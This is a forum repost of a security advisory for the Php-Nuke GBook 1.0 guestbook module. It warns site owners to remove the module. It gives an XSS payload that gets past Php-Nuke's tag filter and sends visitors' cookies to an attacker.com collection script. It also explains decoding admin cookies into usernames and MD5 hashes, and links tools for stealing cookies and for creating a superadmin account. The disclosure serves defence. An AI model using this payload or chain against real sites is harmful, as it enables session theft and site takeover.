AlphaOne Technology Support Forums
Welcome, Guest. Please login or register.
January 07, 2009, 12:02:47 PM

Login with username, password and session length
Search:     Advanced search
1733 Posts in 827 Topics by 5327 Members
Latest Member: koliangoodsb
* Home Help Search Login Register
AlphaOne Technology Support Forums  |  IMPORTANT ANNOUNCEMENTS  |  Security Announcements  |  Php-Nuke Alerts  |  Topic: Php-Nuke GBook ver 1.0 0 Members and 1 Guest are viewing this topic. « previous next »
Pages: [1] Go Down Print
Author Topic: Php-Nuke GBook ver 1.0  (Read 1040 times)
AlphaWolf
AOT Administrator
Administrator
Hero Member
*****
Offline Offline

Posts: I am a geek!!



View Profile WWW
Php-Nuke GBook ver 1.0
« on: February 18, 2005, 11:57:57 PM »

If you are running this module REMOVE it until there is a patch or fix for this potentially serious problem

Date: 02 Feb 2004



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. GBook is guestbook module for Php-Nuke, created by Germán Cuevas
and Víctor Simental, http://www.php-mania.com.ar



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Gbook script does`nt sanityze user input at all, so anybody, who can make entries
to guestbook, can inject there potentially hostile html tags. This can lead to
cookie stealing and extracting usernames and password md5 hashes for Php-Nuke.



Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Html tags can be injected on many places on guestbook entry - "name", "email",
"city","message", etc. Choose what you prefer.
Next, GBook uses POST request to submit data to server, but Php-Nuke itself has
filter for $_POST[] variables:

##### Php-Nuke 7.0 mainfile.php line 56 #######################################

foreach ($_POST as $secvalue) {
if ((eregi("<[^>]*script*"?[^>]*>", $secvalue)) || (eregi("<[^>]*style*"?[^>]*>", $secvalue))) {
die ("<center><img src=images/logo.gif>

The html tags you attempted to use are not allowed


[ <a href="javascript:history.go(-1)">Go Back</a> ]");
}
}

###############################################################################

So we can`t directly inject <script> tags to guestbook entry. But we have many
methods to bypass this filter. I will offer 2 methods:

1. We can use $_COOKIE array to transport variable with "<script>" tags to GBook
script. Yes, it`s true - Php-Nuke will not filter $_COOKIE array at all!
This can be done by manually editing browser cookies or by using speacially
crafted script.


2. There are many methods to use javascripting without <script> and <style> tags.
Example:

<img src="foobar" name="waraxe" width="1" height="1">
<img src="images/pix.gif" width="1" height="1" onload="waraxe.src='
http://attacker.com/steal.php?stuff='+escape(document.cookie);">
Your message here...



Ok, we have now cookies from Php-Nuke users, hopefully from admin too, and we need to
extract usernames and password md5 hashes from them. Just find cookie fields named
"admin" and/or "user" and base64_decode() them!
Example php implementation can be found on url:


http://www.zone.ee/come2waraxe/sa001/steal.php


And finally - if we have usernames and password md5 hashes, we have many choices:

1. We can try to crack md5 hashes to reveal real password.

2. Modify browser cookie manually and then access Php-Nuke site with stolen ID.

3. If we have "superadmin"`s username and pwd md5 hash, then perl script


http://www.zone.ee/come2waraxe/sa001/god.pl.php


can create additional superadmin account for attacker.
« Last Edit: February 19, 2005, 12:01:40 AM by AlphaWolf » Logged

AlphaOne Tech Webmaster Resources
http://www.alphaone-tech.com/resources/
Pages: [1] Go Up Print 
AlphaOne Technology Support Forums  |  IMPORTANT ANNOUNCEMENTS  |  Security Announcements  |  Php-Nuke Alerts  |  Topic: Php-Nuke GBook ver 1.0 « previous next »
Jump to:  

Powered by MySQL Powered by PHP AlphaOne Technology Support Forums | Powered by SMF 1.0.7.
© 2001-2005, Lewis Media. All Rights Reserved.
Valid XHTML 1.0! Valid CSS!